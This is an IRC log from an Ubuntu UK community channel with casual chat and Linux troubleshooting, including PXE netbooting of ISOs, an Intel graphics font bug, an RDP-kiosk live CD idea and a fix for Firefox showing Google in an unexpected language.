<hamitron> can you net boot an ISO?
<ali1234> for pxe it's easier to just mount the iso
<ali1234> you can netboot the ISO but it is more complicated
<hamitron> I realised it may be more complicated, but I got all my ISO on a server...
<ali1234> so?
<hamitron> it would be cool to netboot and have some menu to choose ISO
<ali1234> exporting them over NFS is not much harder
<oly> thats exactly my thinking hamitron
<oly> also means you can do new installs by connecting to network and choosing the iso you want :)
<hamitron> yeh :)
<ali1234> this would be a good system to build from my old NAS...
<hamitron> this pile of cdrw here I keep knocking over, could be scrapped
<hamitron> \o/
<ali1234> could add webif to install ISOs to it
<popey> there was someone who put a network port in a university, that if you plugged in and did a netboot, it would install ubuntu for you
<popey> must be pxe
<ali1234> small torrent client to download them
<hamitron> I dunno enough to make it PXE boot with a menu, and boot ISO :/
<oly> yeah i have done the pxe install and that does work well althrough tends to be quite slow because i downloads the packages of the net
 * hamitron hangs his head in shame
<oly> i guess you could setup an apt-cache to get around that though
<hamitron> if I could use 1 OS, I would do that
<hamitron> :/
<ali1234> you can boot the full livecd over pxe
<ali1234> *from* the livecd in another machine
<ali1234> there is even a script to do it for you
<hamitron> I better not get ahead of myself anyway
<hamitron> need to free enough hdd space up to get my files backed up off a RAID 0 array
<hamitron> so i can remove it from the system
<hamitron> just wish I could convert tv recordings faster :/
 * popey has been eyeing 2TB disks today
<hamitron> :)
<hamitron> that would solve the problem
<hamitron> 6 of them
<hamitron> actually 2 would :)
<dogmatic69_> anyone have problems with fonts on 10.10?
<ali1234> i have problems with fonts all the time on all operating systems :(
<dogmatic69_> in firefox
<ali1234> but then i'm picky and try to do crazy things
<dogmatic69_> :D
<ali1234> hamitron: code this up: http://pad.ubuntu-uk.org/installbox :)
<ali1234> dogmatic69_: what kinds of problems do you have?
<hamitron> ty :D
<hamitron> ali1234: this is not helping me resist distractions ;)
<hamitron> is there a limit to the number of ISO you can mount?
<dogmatic69_> ali1234: http://oi56.tinypic.com/73no82.jpg
<ali1234> there might be a limit on number of loopback filesystems
<ali1234> but it can probably be increased with kernel params
<popey> there is
<ali1234> http://www.cyberciti.biz/tips/set-maximum-number-of-loop-devices.html
<ali1234> dogmatic69_: looks like a graphics card bug to me, what card/driver are you using?
<dogmatic69_> ali1234: no clue
<ali1234> what kind of computer do you have?
<dogmatic69_> its a packardbell easynote 8 maybe
<dogmatic69_> oldish laptop
<dogmatic69_> 2gig cpu
<ali1234> did you get prompted to install restricted drivers?
<dogmatic69_> ive searched google before and could not find much info on it
<dogmatic69_> no
<ali1234> it's probably intel then
<christhecoolboy> hey all :)
<AlanBell> christhecoolboy: o/
<ali1234> dogmatic69: check on lspci for graphics card type
<ali1234> try 'lspci | grep VGA'
<dogmatic69> http://bin.cakephp.org/view/1912152341
<dogmatic69> oh, too late :D
<dogmatic69> VGA compatible controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03)
<ali1234> http://www.linuxine.com/story/font-corruption-x-anyone-else-seeing
<ali1234> they have same graphics card - surprise surprise
<ali1234> are you Mr_Bumpy?
<ali1234> http://forums.opensuse.org/english/get-technical-help-here/hardware/442680-font-corruption-x-anyone-else-seeing.html
<ali1234> https://bugs.freedesktop.org//show_bug.cgi?id=28316 looks like upstream bug
<lubotu3> Freedesktop bug 28316 in Driver/intel "[915] Occasional graphical/font corruption" [Normal,New]
<ali1234> actually that looks like a different bug... what you are seeing looks like glyph cache corruption, as described in the blast comment
<ali1234> maybe open a new bug?
<ali1234> another bug https://bugzilla.redhat.com/show_bug.cgi?id=495323
<lubotu3> bugzilla.redhat.com bug 495323 in xorg-x11-drv-intel "text corruption with intel kms driver" [Medium,Closed: nextrelease]
<ali1234> that one is quite old though
<ali1234> probably a regression
 * dogmatic69 <- nick
<dogmatic69> ah ok, so the new drivers are borked
<ali1234> so, my advice would be to open a new bug on fdo
<ali1234> attach screen shot, say you suspect glyph cache corruption and (assuming it worked ok on old versions) that it is likely a regression
<ali1234> they will then ask you to try all kinds of crazy stuff
<freckle> fun times at work today http://noc.enta.net/2011/01/stepneygreen-core-enta-net/
<Myrtti> "forced unauthorised removal of equipment"
<Myrtti> ie. stolen?
<Myrtti> ah, indeed
<freckle> yep, stolen
<BigRedS> I just saw that
<BigRedS> well, was linked to. didn't this happen to BT not so long ago?
<freckle> second time it has happened in the exchange... first time someone else's kit
<Myrtti> that's a fancy way of saying "stolen"
<Myrtti> I'll write that down in my notebook
<Myrtti> ten points if I can include that in a converation this week
<freckle> I want to create a live CD that on boot runs a RDP to a Windows Terminal Server and once the Windows Terminal server disconnects the system shutsdown.. is that possible?
<directhex> freckle, yes, it's possible
<directhex> freckle, it'd require some scripting knowhow though
<freckle> directhex: any pointers?
<BigRedS> directhex: you can call the rdp server with argumetns to specify the rdp connection
<BigRedS> so have an on-login script that is '~/connect-to-rdp.sh && shutdown now' or similar
<BigRedS> is where I'd start
<directhex> sounds like a job best served by startx, and a custom .xsession which calls rdesktop fullscreen
<directhex> so no gdm, use startx directly from init
<brobostigon> afternoonings all.
<freckle> ok cool, thanks for the pointers
<BigRedS> directhex's suggestion makes more sense than mine :) mine's decidedly lazy
<diplo> Isn't that what LTSP does using edubuntu, using it as a thin client ?
<diplo> Could be some tutorials on there site about it already
<freckle> this need to be for a support worked remotely connecting over the net
<freckle> so PXE won't work
<freckle> directhex: so it would be something like....
<freckle> exec rdesktop -f ip_address
<gord> an hour of wandering about listening to u1 music and only 150mb of 3g used, not bad
<AlanBell> 2.55 per meg when roaming
<AlanBell> plus VAT
<gord> yeah you don't enable u1 then ;)
<AlanBell> roaming data charges are nuts
<gord> i enabled google maps for 30 seconds once in the US, cost me around Â£10
<Pendulum> I turn off data when roaming. Especially as I was informed on arrival into Belgium that it would cost me $17.99/MB
<gord> oh its INSANE for us people in europe
<Pendulum> yeah
<Myrtti> 1.5â¬/MB for me
<Myrtti> well, starting from 1.5â¬/MB
<gord> oh god new netbook so pretty
<screen-x> gord: and so army?
<popey> you should get a proper phone that has a setting "disable data when roaming" :)
<gord> i thought all phones had that by now?
<AlanBell> luckily I have a proper phone
<popey> \o/
<popey> android has caught up! :)
 * popey marks that on the list
<AlanBell> for large values of phone
<gord> its had that for years :P
<andylockran> Howdy guys.
<popey> howdy howdy howdy
<popey> my hero didnt have that setting
<andylockran> Interesting Day. Deciding under what Open Source license to release our internal development platform.
<popey> unless I am stupid and/or blind
<popey> both of which are possible
 * TheOpenSourcerer notes that he is running out of IPs on their server... Only got one left :-(
<gord> heh, android on a netbook is so weird
<andylockran> TheOpenSourcerer: time to switch to ipv6 :p
<BigRedS> andylockran: WTFPL :)
<andylockran> BigRedS: ??
<davmor2> popey: but there is an app for that
<screen-x> popey: the desire has an option to turn of data over the cellular, never used a hero though.
<andylockran> gord: what netbook ?
<MooDoo> gord is this one of the new google os laptops you can sign up for ?
<popey> thats not the same screen-x
<TheOpenSourcerer> andylockran: If I was sure my customers could get there I would. But I'm not.
<screen-x> popey: pretty close, turn of data before going abroad..
<popey> I'm talking about a specific option to disable data _when_ _roaming_
<popey> no, its automatic on iphone
<gord> andylockran, MooDoo - no the ac100
<popey> gord: you got one?
<TheOpenSourcerer> popey: Android has that option on my phone.
<gord> its just android on a netbook, will put ubuntu on it
<popey> any good?
<gord> popey, i did :)
<popey> TheOpenSourcerer: it does now
<gord> popey, we shall see
<popey> heh
<davmor2> popey: by default it is switched off on my milestone
<screen-x> gord: weird keyboard iirc?
<TheOpenSourcerer> It had it on 1.6 IIRC
<gord> keyboard is fine
<davmor2> popey: you have to actually enable it if you want it
<davmor2> popey: there is also use only 2g networks so it saves on battery too
<nigelb> hullo :)
<DJones> TheOpenSourcerer: I've just refurbished an android 1.6 phone, I had to download an app to stop data roaming, it wasn't available as a default option
<davmor2> No not on 1.6 I think it was 2.0 up
<TheOpenSourcerer> Hmm, I thought I remembered seeing that on my Streak before it got upgraded.
<TheOpenSourcerer> Maybe not then.
<davmor2> TheOpenSourcerer: it may of been a 1.6 update x that included it on dells request
<DJones> It was a HTC Magic that I was refurbishing
<gord> heh ac100 android is so crippled, it doesn't have the market so you can't get the good apps
<gord> and it doesn't have the google apps either
<screen-x> can rsync be used on raw devices?
<TheOpenSourcerer> can I do something like a du with the ftp command line client?
<BigRedS> TheOpenSourcerer: I can't think how you'd do that with what's in the FTP protocol without making a series of ls calls
<BigRedS> which I'm pretty sure isn't built in to the command line ftp client
<TheOpenSourcerer> yeah - I can do ls -lR
<TheOpenSourcerer> and get a recursive long list, but then I have to add them up!
<TheOpenSourcerer> bit of awking coming up I reckon.
<davmor2> TheOpenSourcerer: would a size call on the folder help you out?
 * czajkowski kicks davmor2 
<TheOpenSourcerer> Just saw that in the man ftp. Will try it.
 * davmor2 taunts czajkowski with throat lozenges 
<TheOpenSourcerer> Nope - I get a "not a regular file" response. :-(
<czajkowski> davmor2: I've tea! tea makes it all good!
<TheOpenSourcerer> It's a dir.
<davmor2> TheOpenSourcerer: why can't you access it via ssh and then use standard commands? is ftp the only tool available?  can you access it via Firefox using fireftp then you can find out that way?
<TheOpenSourcerer> This is a "special" backup area inside a hosting provider's network. I only have FTP access and was just wondering if I can get this info from the cli...
<shauno> as crazy as it sounds, 'help' is pretty useful on most ftpd.  If there's a non-standard command for such a task, I'd expect to find it there
<davmor2> TheOpenSourcerer: can you not use an ncurses ftp client or something like mc?
<TheOpenSourcerer> quite likely. mc is a good idea. Thanks.
<davmor2> TheOpenSourcerer: Hey anything to make life easier :)
<andylockran> what girls name is Nessie short for?
<danfish> andylockran: Vanessa
<danfish> afternoon
<andylockran> seems like a girl from school has got married (surname's changed) and her first name, is Nicola
<czajkowski> andylockran: Nessa
<andylockran> now Nessie..
<DJones> andylockran: http://www.thinkbabynames.com/meaning/0/Nessie
<andylockran> very strange
<brobostigon> danfish: may i ask you a quick question, as you being a doctor. please.
<danfish> brobostigon: sure - ?pm
<czajkowski> ah yes I do not like your NHS system over here, tried to ring a drs surgey but because I'm not registered they wouldnt see me today
<brobostigon> danfish: a part of where my eczema was bad, feels like it is infected, i am seeing my dermatologist thursday morning, i recognise the lok and feeling of aninfection from how it has been before.
<davmor2> czajkowski: Yeap unfortunate did no-one point out you should setup with a doctors surgery it'll be the same if you move too
<popey> is there anyway on freenode that I can be told when a particular user comes online?
<danfish> czajkowski: check online with NHS choices to see if their's a walk-in GP centre near you
<shauno> only the same as every other net I believe, /notify  (nick-dependant, not user-dependant)
<czajkowski> davmor2: aye they mentioned it, but I honestly thought someone was taking the mickey you couldnt just go down and be seen
<czajkowski> danfish: ahh ok
<czajkowski> popey: if your client supports monitor
<davmor2> czajkowski: the other alternative is to just go see a chemist :D well if it's for your throat
<czajkowski> hmm tesco lady was less than helpful before
<czajkowski> popey: http://www.stack.nl/~jilles/irc/monitor.pl.txt
<popey> blimey, thats chunky
<popey> thanks
<czajkowski> popey: np
<davmor2> czajkowski: no a proper chemist Lloyds, Boots etc
 * andylockran walked into a brick wall on Saturday and cut his ear.
<dwatkins> I ran into a brick wall once, and did much more damage to my head, andylockran
<dwatkins> anyhoo, hope you're alright and it's all better soon, andylockran
<DJones> Was the wall ok?
<DJones> popey: Would the /notify command in irssi work to let you know when somebody comes on/offline? or does that only work if you physically run the command
<popey> maybe
<Azelphur> MattJ, know of a tool I can use to expose a web chat box direct to my XMPP account?
 * brobostigon shakes fist at the adsl
<davmor2> popey: can your client not do that for you?
<gord> i buy far too many songs on ubuntu one just because said song is stuck in my head from some stupid shop
<gord> there should be a nationwide ban on shops playing lional richie
<andylockran> gord, there was once, twice, three times... damnit!!
<davmor2> gord: tell me about it, I've had word up cameo, boy george, adam and the ants, and others stuck in my head for weeks thanks to shops
<gord> davmor2, seriously, the only way you get rid of them is buy buying them, then playing them over and over till you are sick of them
<rww> if you go to a music shop to buy them, this could turn into an infinite loop.
<davmor2> gord: I resort to beeping or whistling popcorn it's the only tune I know that can rid everything bar lady gaga's paparazzi
<davmor2> crap now I got that running round my head again
<gord> hrm, maybe i should just alias vf to cd
<rww> gord attempts to do so: "s: command not found \n osd: command not found"
<andylockran> the one I have now is "and it's a quarter after one, I'm all alone, and I need you now."
<andylockran> Need You Now, Lady Antebellum
<gord> woo finally flashing the netbook with ubuntu
<gord> hope it goes well
<popey> gord: be interested to know what the performance is like
<popey> also be fun to try chrome os on that! :)
<gord> popey, i'm not very interested in chrome OS, but getting unity running on opengl ES? very interested in that
<gord> think i figured out what to do with my old netbook, i'll mount it on a wall and make it run http://www.uniqlo.jp/uniqlock/ 24/7 as a clock!
<popey> that sounds fun
<popey> (the ac100)
<popey> 300 quid is quite a bit for that laptop though
<gord> yeah, especially given the crappy android it has installed
<popey> i guess there wont be an arm build of spotify?
<gord> if it came with a nice ubuntu install or something, ran for 8 hours and had full tegra 2 support from nvidia then it'll be worth it though
<gord> don't really know what spotify is, some music thing right?
<popey> its what u1 should be :)
<davmor2> popey: harsh
<popey> not really
<popey> u1 is fundamentally flawed in the music streaming part
<popey> in that it only lets you stream music you already own, _and_ have already got in your cloud storage
<gord> heh yeah it lets me stream my music :O but yeah if it just had an interface to the ubuntu 1 store and let you play their previews then it would be worlds better
<gord> full tracks even better.. but well. don't think we have the muscle to do that
<popey> yeah, maybe in the future, once spotify has blazes a trail :)
<gord> yup, canonicals not a big company, we can't blaze aaaaaall the trails :P
<gord> i hate things that don't have progress indicators... i know flashing over usb is slow but its worrying :(
<davmor2> popey: yes that's so Ubuntu doesn't have to pay Loyalties I would imagine, currently they only stream the music you own to you, where as spotify is like the radio it gets money from subs and ads to pay out the loyalties and also from referrals to the mp3 download stores.
<popey> yup
<screen-x> gord: 72%
<davmor2> popey: I suppose the way round it would be for u1 to offer a sub system where you pay Â£x a month to stream tracks and then buy the tracks you like from them at a discounted rate or something
<gord> why would you buy tracks if you could stream random ones?
<popey> i love that I can hear a snippet of a track and think "oooh, Id like to hear that" and just play it immediately without buying it
<popey> those AC100's are showing up on ebay for ~220 quid
<BigRedS> gord: there's a peculiar group of people for whom buying a download is the more secure alternative to streaming.
<BigRedS> sort of as CDs are to any online-flavoured music storage thingy to the rest of us
<screen-x> BigRedS: people who travel on the tube?
<popey> people who listen to music from cassette
<popey> TDK-90s
<directhex> TDK? blasphemy
<gord> popey, i would guess the return rate on ac100's is pretty large
<directhex> memorex! http://minnesota.publicradio.org/collections/special/columns/comparing_notes/assets_c/2009/07/memorex-thumb-425x284.jpg
<popey> hmm, what was that website which had a nice collection of tape inlay scans
<popey> aha! http://www.c-90.org/
<popey> http://www.c-90.org/catalogue/tapes
<popey> http://www.c-90.org/catalogue/tapes/Memorex happy days
<popey> gord: I vowed not to buy another Toshiba laptop after my last one. Worst laptop I've ever owned, work or personal
 * czajkowski loves her Tosh, rather sturdy and handles almost any knocking it's gotten
<czajkowski> next fav is the Dell, not loving the thinkpad at all
<popey> heh
<screen-x> popey: I'm suprised by how many of those tapes I recognise
<czajkowski> The tosh is a lot heavier, but damn sturdy
<AlanBell> OLPC then this samsung for me
<AlanBell> although I do think "widescreen" laptops should be called "shortscreen" laptops
<czajkowski> AlanBell: seen  your emails :)
<czajkowski> AlanBell: yeah I just find the OLPC very kiddish, like a sturdier lappy
<AlanBell> yes
<AlanBell> and yes, it is kiddish
<popey> it is after all designed... for kids
<czajkowski> popey: I'm not totally thick, :)
<popey> hows the course going?
<popey> no?
<popey> ok
<popey> :)
 * czajkowski prods popey cheeky 
<AlanBell> course is going fine, I have a new module up and running with fields and views and one2many relationships and suchlike
<popey> :)
<popey> super
<screen-x> Just reading menu.lst from an old box, it has root=5005, what does that mean?
<AlanBell> and I haz waffles
<gord> screen-x, permissions maybe?
<screen-x> gord: but if thats the permissions, then no root device is specified
<screen-x> yet the box manages to boot..
<gord> screen-x, magic then?
<screen-x> gord: yeah, or some really odd raid driver.
<gord> oooh the flashing utility is downloading something, okay, thats why its taking forever
<screen-x> gord is this the ac100 you're flashing?
<gord> yup
<screen-x> why do you have to flash it, rather than install onto it?
<gord> you have to do both
<gord> i already installed ubuntu on the internal memory, now i'm flashing the bootloader with the nvidia tegra tool to do that
<screen-x> ah
<screen-x> is there a standard for the boot loading interface? I assume its not normal bios/EFI
<gord> its some nvidia thing, hense the nvidia tool
<gord> http://tegradeveloper.nvidia.com/tegra/downloads whole bunch of linux stuff
<screen-x> :)
<gord> nvidia have a more annoying linux driver situation than the regular desktop one, hopefully that will change in the future
<gord> ah, i finally found the update all button in the android market
<BigRedS> I was a happy bunny when I found that :)
<BigRedS> it came with an android update, apparently. Same time the market went all curvy
<gord> the old market had one too, but it was more obvious
<max69max> Free LIVE adult webcam girls only on http://www.BestPleasureCams.com
<brobostigon> ohdear.
 * brobostigon prods popey or czajkowski 
<czajkowski> Myrtti: ty
<czajkowski> unusal high level of spamers in here lately
<brobostigon> agreed, yes.
<brobostigon> ohdear
<davmor2> czajkowski: you need an aka 47 rather than a boot
<czajkowski> I've joines turned off on most channels I'm n tbh  so unless I'm poked I've no idea
<czajkowski> plus Myrtti seems to have it in hand
<davmor2> Myrtti: nice
<Myrtti> czajkowski: literally. doing it on my n1 and connectbot while suffering very sore neck
<davmor2> Myrtti: No fun :(
<DJones> Evening
<davmor2> DJones: evening
<czajkowski> Myrtti: :(
<richard> hi
<AlanBell> hi
<Guest47660> i have ubuntu maverick and for some reason everytime i open google.om in firefox, it is in indian language?
<Guest47660> any idea why??
<AlanBell> are you connecting through some corporate network that comes out in india?
<Guest47660> i did not have this problem in 10.04
<Guest47660> no i am a home user
<Guest47660> i install it from the cd
<Guest47660> from canonical
<AlanBell> and I assume you are in the UK?
<Guest47660> yes
<Guest47660> it keep defauting to indian language
<Guest47660> even when i type google.co.uk
<brobostigon> maybe google interprets you ip as being in india, hence shows you that google.
<brobostigon> your*
<Guest47660> i have to change it manualy
<Guest47660> i am using Virgin Media
<Darael> Or maybe Google can get language data from your browser user-agent - what language did you install Ubuntu in?
<Guest47660> how would i know that??
<Darael> Guest47660: Did you install Ubuntu in English?  If so, it's not that.  It's a long shot.
<dwatkins>  What did you choose when it first booted, Guest47660?
<brobostigon> about:config i believe.
<Guest47660> yes i installed ubuntu in english
<Darael> OK, it was a long shot, but worth trying.
<Guest47660> so i can i find out aboutthe user agent
<brobostigon> Guest47660: i thnks its about:config in FF's url bar.
<Guest47660> ok i am checking
<Darael> If you installed Ubuntu in english, it's probably not that.  It's most likely that brobostigon's first suggestion (you've got an IP that Google thinks is in India) is the problem, I suspect.
<dwatkins> what does whatismyipaddress.com say?
<brobostigon> like when i use tor, that gave me some very interesting results sometimes.
<dwatkins> i.e. what country does it think you are in, Guest47660?
<screen-x> Why would /proc/pts be empty?
<Guest47660> well i am using openDNS
<Darael> Guest47660: That shouldn't make any difference, Google doesn't know what DNS you're using.
<brobostigon> thats wouldnt affect it,
<Guest47660> ok so when i am in about:config what do i type in the search bar
<jacobw3> !ping
<lubotu3> ping-pong, a fun game for all the family
<brobostigon> Guest47660: ithink its a simple as user agent.
<Guest47660> unless virgin has change i they route thy're ip address?
<brobostigon> evening jacobw3
<jacobw3> evening
<jacobw3> hmm, how does one switch window in irssi without using alt+left
<AlanBell> Guest47660: so does it redirect you to www.google.in or something?
<AlanBell> jacobw3: /window 3
<AlanBell> or esc+3
<AlanBell> or esc +left/right
<Guest47660> no
<Guest47660> nothing
<jacobw3> cheers :)
<dwatkins> What is the actual problem, Guest47660?
<AlanBell> Guest47660: go here http://www.google.co.uk/preferences?hl=en
<AlanBell> and at the top choose English
<Darael> jacobw3: /win is enough, by the way, it need not be /window.
<jacobw3> :)
<Guest47660> well when i open firefox on google.com
<Guest47660> iti s in indian language
<Darael> jacobw3: And a little clarification on esc+ - it's press /and release/ esc, then the button you'd normally press with alt.  Dunno why...
<MartijnVdS> Guest47660: try google.com/ncr
 * AlanBell is now using google in klingon
<MartijnVdS> Guest47660: that'll turn off country recognition
<jacobw3> i see, i tried it first pressing esc+3 and it didn't work
<brobostigon> AlanBell: cool. :)
 * jacobw3 evaporates
<Guest47660> it is already in english
<Darael> Guest47660: What exactly do you mean by "in indian language"?  Do you know the language, or are you just assuming it's Indian, or what?  Knowing what language it's showing you might help... It might not, but it might.
<brobostigon> india has dozens of languages,
<Guest47660> ok do you have a bin i can paste the print screen
<DJones> Guest47660: Does the same happen with other browsers? It might be worth installing chromium-browser and testing with that as well
<brobostigon> !imagebin
<lubotu3> Screenshots can be made with the [PrtScr] button. Want to show us a screenshot of your problem? Upload an image to http://tinyurl.com/imagebin and post a link to it.
<Guest47660> i did it is fine with other browser
<AlanBell> http://www.google.com/webhp?hl=xx-elmer google in Elmer Fudd \o/
<Guest47660> ok hold on i am going to paste it in the bin
<Darael> brobostigon: That was part of what I meant!  "in Indian Language" tells us very little.
<brobostigon> Darael: yes, :)
<Darael> Although, in fairness, "indian language" when said by a native English speaker almost always means Hindi, Tamil or Urdu.  Not that that's much help, even there.
<brobostigon> very true.
<Guest47660> ok here it is
<Guest47660> http://imagebin.org/133098
<AlanBell> pretty, but I am not sure it is indian
<brobostigon> i dont recognise the script.
<Darael> Pretty sure it isn't.  But it does look nice.
<Guest47660> well sorry, i cannot say the difference, i am ignorent in this area
<Darael> Hmm, I do wonder what script that is, though...
 * AlanBell asks in -in
<brobostigon> Darael: me too, :)
 * brobostigon thinks google goggles would be a rescue.
<DJones> AlanBell: Maybe ask in -irc
<DJones> one of the ops from the loco's might recognise it
 * brobostigon has jelly babies, :)
<Guest47660> ohh ok!
 * brobostigon shares them with everyone,
<screen-x> \o/ jellybabies
<AlanBell> purple one for me please
<Guest47660> I start to think that my firefox as been hacked
<Darael> Frankly, that's highly unlikely.
 * brobostigon scp's AlanBell a purple  jelly baby.
<Guest47660> i removed it and reinstalled it and it comeback to the same default page
<Guest47660> even the uk page, hold on
<Myrtti> id just looks with chrome devel tools what version google thinks it should serve
<Myrtti> tho it might be a font issue
<brobostigon> i wonder what the ssl version of google would return.
<Guest47660> here is the uk page  http://imagebin.org/133099
<Myrtti> I'll be most annoyed if this achy shoulder persists until tomorrow
<Darael> Those "google.com in English" links interest me, as does the fact that the google.co.uk version has the text "google.co.uk" on it.
<DJones> On that last image, is it just me, or is there two buttons/links at the bottom that say "Google.com in English"?
<brobostigon> so it might be faked dns going to a faked server ?
<Guest47660> yes there is
<Darael> Guest47660: Of the blue links at the bottom, one is in the weird script.  What's the link (right-click, copy link location)?
<Darael> (Seems to me that's likely to help find out what's going on)
<brobostigon> if someonesmessed with the dns, to point to a different server,
<Darael> Then it wouldn't help.  But if they haven't, then I want to know what that link points to.
<brobostigon> and if it links to something suspicious.
<Guest47660> blue link at the bottom right?
<Guest47660> you mean i the top right
<Darael> I was thinking of the left-hand one, unless the one in the odd script has moved.  Next to the "google.com in English" link.  At the bottom.
<Darael> ...just above "(c) 2011"
<Guest47660> that link AT THE bottom next to google.com in english goes here
<Guest47660> http://www.google.co.uk/intl/chr/about.html
<Darael> Oh.  Well, it was worth a try.  Any of the links go to something that looks like it might help?
<DJones> have you tried clicking on Preferences in firefox and going to the Content Tab, there's a language selection option there
<Guest47660> well the big ling under the search box goes here
<Guest47660> http://www.google.co.uk/setprefs?sig=0_cl6qsjoVb0W-cEGqX9e462tCuY4=&hl=en
<DJones> What languages are you given the option of? My Firefox has English/United Kingdom [en-gb] and English [en] as options
<Guest47660> you mean in firefox preference
<DJones> Yes
<DJones> So Edit from the menu bar & then preferences
<Guest47660> where do i find what language is set for my firefox?
<Guest47660> ok then
<DJones> And then the Content Tab within preferences, the bottom entry on mine is "Languages - Choose your preferred language for displaying pages" with a Choose button to its right
<Guest47660> there is no language set
<DJones> Do you have an option to SElect a language to add?
<Guest47660> it is set to chrome global intl properties
<Guest47660> yes
<DJones> Add English/United Kingdom [en-gb] and then move that one up so that its at the top of the list
<Guest47660> ok should i remove chrome global intl properties
<Guest47660> done
<Guest47660>  should i remove chrome global intl properties
<DJones> I'd leave that there for now
<Guest47660> or leave it
<Guest47660> ok let me try
<DJones> Close the preferences window now & restart firefox & try it
<DJones> If that doesn't help, I'm out of ideas
<Guest47660> yes it work
<Guest47660> thankyou so much
<DJones> YOur welcome
<Guest47660> for all your help and expertise
<Guest47660> i have another question regarding the fact that everytime i run a windows application i am logged off
<Guest47660> something to do with xorg
<Guest47660> actualy not only with wine
<Guest47660> even when i launch a game from ubuntu, installed from the synaptic
<daubers> Evening
<dutchie> hi there daubers
<DJones> I can't help with wine, its not something I use, hopefully somebody else can help with that
<Guest47660>  everytime i run a windows application i am logged off, even when i launch a game from ubuntu, installed from the synaptic
<Guest47660> thank you DJones
<Guest47660> much appreciate
<Guest47660> anyone can help about my problem?
<DJones> The only suggestion I can make would be to ask in ##winehq which is the wine support channel if there's nobody around here that can help
<Guest47660> thank you will do that
<DJones> Sorry, just noticed you said its not just wine app's
<brobostigon> always makes me laugh , atthe end of St first contact, the vulcans drinking whisky.
<brobostigon> Star trek*
<brobostigon> stupid, film4 cut the nice music,  :(
<AlanBell> what language was Guest476600 looking at?
<brobostigon> AlanBell: i dont think we found out.
<DJones> AlanBell: I'm not sure, he just said that in preferences it was set to "Chrome global intl properties"
<DJones> Which seems to be a Chrome/Chromium setting, maybe something got confused with different browsers
<DJones> Although I can see it mentioned on the mozilla website as well
 * brobostigon puts horizon on.
<DJones> I can see a mention on arabeyes.org of "translate/mozilla/firefox/3.5/toolkit/chrome/global/intl.properties" the website describes itself as "The Arabic Unix Project"
<daubers> Woot! Stonking is in the OED
 * BigRedS is sort-of being won over to aptitude over apt-get
<bigcalm> BigRedS: what's the advantage?
<BigRedS> aptitude full-upgrade doesn't want to remove libapache-mod-php4, apt-get dist-upgrade does
<BigRedS> that's it for now :)
<mgdm> I'd go with apt-get based on that metric
<mgdm> ;)
<BigRedS> Oh. No, aptitude's changed it's mind. I'm sticking with apt-get
<BigRedS> mgdm: Tonight is not the time to migrate everything to a2+php5 :)
<mgdm> No, 2 and a bit years ago was ;)
<BigRedS> that's a very good point :)
<bigcalm> mgdm: what are you using for shortening urls?
<bigcalm> And good evening
<mgdm> bigcalm: bit.ly pro, at the moment
<bigcalm> Ah
<mgdm> I am still interested in working on your one, though
<bigcalm> Neat :)
<bigcalm> It's had a few enhancements since I suggested it, but still not user ready really
 * brobostigon thinks he spotted kde on horizon.
<bigcalm> I have set up trac though!
<mgdm> \o/
<brobostigon> and gnome, :)
<bigcalm> mgdm: http://trac.idophp.co.uk/urlshortener
<bigcalm> I've disabled the wiki from un-authed as I'm lazy
<czajkowski> AlanBell: you about
<AlanBell> yes
<czajkowski> AlanBell: does April 5th work for you
<czajkowski> we're waiting on you and David
<AlanBell> trying to figure out outbound SMTP as it happens
<AlanBell> April 5th is fine
<czajkowski> grand shall reply for you
<AlanBell> thanks
<AlanBell> still going to fix the thing :)
<czajkowski> np
<czajkowski> only teachers would pick a god damn date for a time when they are all on holidays though
<czajkowski> and realise this after the fact...
<czajkowski> so help me calls are going to get a lot stricter!
<brobostigon> http://arstechnica.com/tech-policy/news/2011/01/wikileaks-given-swiss-bank-account-data.ars?utm_source=rss&utm_medium=rss&utm_campaign=rss
<ali1234> heh, comes with music is shutting down
<ali1234> "Nokia has said these users will also still have access to any tracks they've downloaded after the subscription ends. "
<gord> seems like with the stock android and display at full brightness, this netbook will get around 5 hours battery life. not bad
<ali1234> - until they get a new phone. then there's no way to transfer the licences without talking to nokia's drm server
<ali1234> stock android runs on netbooks now?
<ali1234> actually it looks like they are keeping the music store so presumably the drm servers are staying...
<popey> ali1234: I suspect he means the android install that came on the laptop (tosh ac100)
<popey> as opposed to "stock android"
<ali1234> but that's a smarttop...
<popey> whats the difference?
<popey> storage?
<ali1234> ARM chip
<ali1234> or is it a smartbook...
<ali1234> anyway, ac100 should get much more than 5 hours...
<ali1234> 5 hours = good for x86, rubbish for arm
<popey> i would have hoped for more too
 * brobostigon get back to the floyd'athon, :)
<popey> heh, spec says 8 hours max
<popey> i guess doing nothing with the display on minimum
<ali1234> hmm... not really
<ali1234> still seems low
<gord> its not just arm
<gord> its a tegra 2
<ali1234> i thought GPU optimizations were supposed to save power?
<ali1234> that's what i keep hearing when i ask "what's the point of these fancy accelerated UIs?" anyway
<brobostigon> ali1234: none at all, beos'swas perfect, :)
<gord> lets put it this way, a regular arm chip system has one chip, a small cpu. this system has a 1ghz dual core cpu and a nvidia gpu, 5 hours at full brightness with non of the power optimisations on is pretty good
<ali1234> NO
<ali1234> beos was not perfect, it still isn't... the UI is annoying and buggy :/
<brobostigon> ali1234: however the least fancy and logical, with no fancy extraious bells and whistles.
<ali1234> gord: 5 hours at full brightness and no optimizations is pretty good
<brobostigon> ali1234: haiku's is muchbetter, but with thatsame simplicity andlogical thought,
<ali1234> brobostigon: it riminds me of irix... and not in a good way
<brobostigon> ali1234: i never have used irix, i know its an svr4 varient and maybe made by HP, but more than that, i dont know.
<ali1234> it was used on SGI machines
<ali1234> it was really horrible
<brobostigon> oh, ok.
<ali1234> http://www.guidebookgallery.org/screenshots/irix53
<directhex> irix is dead
<directhex> it's never been supported on their ia64 or x86-64 hardware
<ali1234> irix5.3 is apparently from 1994...
<ali1234> directhex: yeah but i've never even seen any of that stuff, i've only used their mips machines...
<brobostigon> ali1234: that a very different gui in thought and design from beos and haiku.
<brobostigon> ali1234: thats more like nextstep.
<ali1234> http://popcorn.cx/computers/sgi/indy/indy-r5000-01.jpg
<ali1234> now *that's* a cool looking computer case...
<directhex> irix uses cde doesn't it?
<directhex> hm, no, clearly not
<brobostigon> ali1234: http://bebox.nu/images/bebox/ppc/bebox-large.gif now thats a cool case.
<directhex> brobostigon, blinkenlights!
<brobostigon> directhex: hehe, :)
<directhex> i still think the level 10 looks incredible
<directhex> impractical, but incredible
 * brobostigon declares directhex rocks,
<directhex> the new level 10 gt is not nearly as good
<directhex> http://dl.maximumpc.com/galleries/level10/l10beauty_lw.jpg
